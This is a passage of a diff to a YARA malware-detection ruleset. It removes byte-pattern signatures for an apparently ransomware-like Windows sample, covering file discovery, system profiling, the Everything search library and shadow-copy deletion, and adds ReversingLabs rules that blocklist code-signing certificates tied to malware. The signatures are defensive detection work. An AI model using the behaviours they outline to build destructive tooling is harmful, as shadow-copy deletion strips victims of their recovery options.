0F 85 ?? ?? ?? ?? 8B 03 89 1B 89 5B - ?? 3B C3 74 ?? 8B 30 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 3B F3 75 ?? 6A ?? 53 E8 - ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 8D 14 55 ?? ?? ?? - ?? 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 - ?? 0F 87 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? - ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 66 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? - 8B 03 89 1B 89 5B ?? 3B C3 0F 84 ?? ?? ?? ?? 8B 30 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8B C6 3B F3 75 ?? E9 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? - ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $write_console_log_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 57 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? F0 0F B1 0A 85 C0 0F 84 - ?? ?? ?? ?? 8B 45 ?? 8D 7C 24 ?? 85 C0 B9 ?? ?? ?? ?? 0F 45 C8 8D 45 ?? 50 33 F6 8B - C7 56 51 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 FF 70 ?? 83 C9 ?? 51 E8 ?? ?? ?? ?? - 83 C9 ?? 83 C4 ?? 85 C0 0F 48 C1 85 C0 78 ?? 3D ?? ?? ?? ?? 77 ?? 75 ?? EB ?? BE ?? - ?? ?? ?? 33 C0 66 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 44 44 ?? 89 44 24 ?? 85 F6 - 79 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? BA ?? ?? ?? ?? 50 8D 44 24 ?? 50 51 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 75 ?? 8B 44 24 ?? 8B F8 8D 44 24 ?? 2B F8 83 - E7 ?? 85 FF 0F 8E ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 0F B7 44 24 ?? 50 0F - B7 44 24 ?? 50 0F B7 44 24 ?? 50 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 - C4 ?? 8B F0 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? - ?? 8B 0D ?? ?? ?? ?? F6 C1 ?? 74 ?? 8B 15 ?? ?? ?? ?? 83 FA ?? 74 ?? 6A ?? 8D 44 24 - ?? 50 8D 04 36 8B 35 ?? ?? ?? ?? 50 8D 44 24 ?? 50 52 FF D6 6A ?? 8D 44 24 ?? 50 57 - 8D 44 24 ?? 50 FF 35 ?? ?? ?? ?? FF D6 6A ?? 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF - } - $write_console_log_p2 = { - 35 ?? ?? ?? ?? FF D6 8B 0D ?? ?? ?? ?? F6 C1 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 6A ?? 6A ?? 6A ?? 8B D8 8D 84 - 24 ?? ?? ?? ?? 53 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 8D 0C 7D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 57 8B F0 8D 84 24 ?? ?? ?? ?? 56 53 50 6A ?? 6A ?? - FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B D6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 3D ?? ?? - ?? ?? ?? 74 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF D3 8D 04 45 ?? ?? ?? ?? 89 - 44 24 ?? 8D 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 - 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC - E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $get_system_information_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 51 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 0F 44 C3 6A ?? A2 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 8B 35 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 - B9 ?? ?? ?? ?? 83 C4 ?? 8D 51 ?? 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 - 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B CA - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? ?? ?? ?? 8D 79 ?? 66 8B 01 - 83 C1 ?? 66 85 C0 75 ?? 2B CF D1 F9 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 1F 84 00 - } - $get_system_information_p2 = { - C6 00 ?? 8D 40 ?? 83 E9 ?? 75 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 57 C0 8B 85 ?? ?? ?? ?? 8B - 8D ?? ?? ?? ?? 0F AC C6 ?? 8B 85 ?? ?? ?? ?? 0F AC C1 ?? 6A ?? 66 0F 13 85 ?? ?? ?? - ?? 6A ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 89 BD - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? - 50 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B6 05 ?? ?? ?? ?? 83 BD - ?? ?? ?? ?? ?? 0F 45 C3 A2 ?? ?? ?? ?? 33 F6 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F - 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? FF D3 68 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B F0 33 - C0 85 F6 0F 44 C8 8D 85 ?? ?? ?? ?? 50 51 56 6A ?? FF B5 ?? ?? ?? ?? 89 8D ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 0F 1F 44 00 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 85 - F6 74 ?? 56 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? FF D3 56 6A ?? 50 FF - 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 56 6A ?? FF - B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 - } - $get_system_information_p3 = { - B5 ?? ?? ?? ?? 33 DB 3B 1E 0F 83 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 74 DE ?? FF 15 ?? - ?? ?? ?? 85 C0 74 ?? C6 05 ?? ?? ?? ?? ?? EB ?? FF B5 ?? ?? ?? ?? FF 74 DE ?? FF 15 - ?? ?? ?? ?? 85 C0 74 ?? F6 44 DE ?? ?? B9 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 0F 45 C1 - A2 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 - 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? - ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B 54 DE ?? 8B 4C DE ?? 50 E8 ?? ?? ?? ?? 8B 47 ?? - 8D 8D ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 51 50 57 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 42 89 47 ?? 89 - 95 ?? ?? ?? ?? 89 01 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 43 E9 ?? ?? - ?? ?? 8B 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 - C1 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 50 0F 43 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? - 8B 8D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 85 ?? ?? ?? ?? 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? - ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 8B C2 51 50 - } - $get_system_information_p4 = { - E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C6 45 ?? ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 85 ?? ?? - ?? ?? 41 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? - ?? ?? ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? C3 8B 85 ?? ?? ?? ?? BB - ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 8B BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 85 - F6 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 35 ?? - ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 FF B5 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 8B CA C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? - ?? ?? ?? 8D 41 ?? 89 85 ?? ?? ?? ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B 8D ?? ?? ?? - ?? D1 F9 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD - ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 0F B6 0D ?? - ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 0F 45 CB A3 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 0F 95 05 ?? ?? ?? ?? 88 0D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 0F 94 05 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 - } - $everything_library_setup_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 8D 45 ?? - 64 A3 ?? ?? ?? ?? 88 55 ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 80 7D ?? ?? 74 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 6A ?? - 6A ?? B2 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 33 D2 C6 45 - ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8B - 35 ?? ?? ?? ?? 0F 43 45 ?? 50 FF D6 85 C0 74 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? B0 ?? - E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 45 ?? ?? ?? ?? ?? - 8B CA C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 45 ?? 8D 79 ?? 66 8B 01 83 C1 ?? 66 - 85 C0 75 ?? 2B CF D1 F9 51 52 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? - C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F 10 4D ?? 8D 4D ?? F3 - } - $everything_library_setup_p2 = { - 0F 7E 45 ?? C6 45 ?? ?? 83 7D ?? ?? FF 75 ?? 66 0F 7E C8 0F 11 4D ?? 0F 43 C8 66 0F - D6 45 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 - 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF D6 85 C0 74 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? B0 - ?? EB ?? 8A 45 ?? C6 05 ?? ?? ?? ?? ?? 84 C0 74 ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? - 32 D2 E8 ?? ?? ?? ?? 8A C8 88 4D ?? 84 C9 75 ?? B2 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8A C8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 33 D2 84 C9 88 4D ?? 0F 44 - C2 A2 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 - FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 - C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A 45 ?? 8B 4D ?? - 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C3 - } - $delete_shadow_copies_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F - 88 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D6 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D6 85 C0 0F 88 ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? - ?? ?? ?? 80 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 45 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? - ?? 0F 45 C1 8D 4D ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 8B 00 8B 70 ?? E8 ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 C0 8D 4D ?? 51 6A ?? 50 FF 75 - ?? FF D6 C7 45 ?? ?? ?? ?? ?? 83 CF ?? 8B 75 ?? 89 45 ?? 85 F6 74 ?? 8B CF F0 0F C1 - 4E ?? 49 75 ?? 85 F6 74 ?? 8B 06 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? - 8B 46 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 50 FF D3 83 7D ?? ?? 0F 8C ?? ?? ?? ?? - } - $delete_shadow_copies_p2 = { - 8B 45 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 00 8B 70 ?? 8B 45 ?? 89 45 - ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 C0 8D 4D ?? - 51 FF 75 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 75 ?? FF D6 C7 45 ?? ?? ?? ?? ?? 8B - 75 ?? 89 45 ?? 85 F6 74 ?? 8B CF F0 0F C1 4E ?? 49 75 ?? 85 F6 74 ?? 8B 06 85 C0 74 - ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 78 ?? 6A - ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 8B 45 ?? 79 - ?? 8B 08 50 FF 51 ?? 8B 45 ?? 50 8B 08 FF 51 ?? FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 00 68 ?? ?? ?? ?? 8B 40 ?? 89 45 ?? E8 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 30 85 F6 74 ?? 8B 36 EB ?? 33 F6 68 ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 C0 8D 4D ?? 51 6A ?? 6A - ?? 56 50 FF 75 ?? FF 55 ?? 8B 75 ?? 89 45 ?? 85 F6 74 ?? 8B CF F0 0F C1 4E ?? 49 75 - ?? 85 F6 74 ?? 8B 06 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 85 - C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 - } - $delete_shadow_copies_p3 = { - C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 85 F6 74 ?? F0 0F C1 7E ?? - 4F 75 ?? 85 F6 74 ?? 8B 06 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 8B 46 - ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? - ?? 83 C4 ?? 83 7D ?? ?? 7D ?? 8B 45 ?? 50 8B 08 FF 51 ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B - 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8D 55 ?? 52 8D 55 - ?? 52 6A ?? 6A ?? 51 FF 50 ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? 6A ?? 6A ?? 52 8B - 01 6A ?? 68 ?? ?? ?? ?? 51 FF 50 ?? 85 C0 78 ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? FF 75 ?? - 8B 01 51 FF 50 ?? 85 C0 78 ?? FF 75 ?? 68 ?? ?? ?? ?? EB ?? 50 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 FF D3 8B 45 ?? 50 8B 08 FF 51 ?? 8B 4D ?? 85 C9 75 ?? - 8B 4D ?? 85 C9 74 ?? 8B 01 51 FF 50 ?? 8B 45 ?? 50 8B 08 FF 51 ?? 8B 45 ?? 50 8B 08 - FF 51 ?? 8B 45 ?? 8B 08 50 FF 51 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 4D ?? 64 89 - 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Danalis LLC" and pe.signatures [ i ] . serial == "4a:7f:07:c5:d4:ad:2e:23:f9:e8:e0:3f:0e:22:9d:d4" and 1608681600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_F5F9C8F8C33E4Ce84Dd48Fcb03Ccb075 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "74203aa1-e5d0-59d9-b9f8-b79f5fbe271e" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12590-L12608" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "ac3bab3f5a93099f39b0862b419346d1eb3d0f75d86e121ba30626d496c46c57" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $write_console_log_p* ) ) and ( all of ( $get_system_information_p* ) ) and ( all of ( $everything_library_setup_p* ) ) and ( all of ( $delete_shadow_copies_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Abdulkadir \\xC5\\x9Eahin" and ( pe.signatures [ i ] . serial == 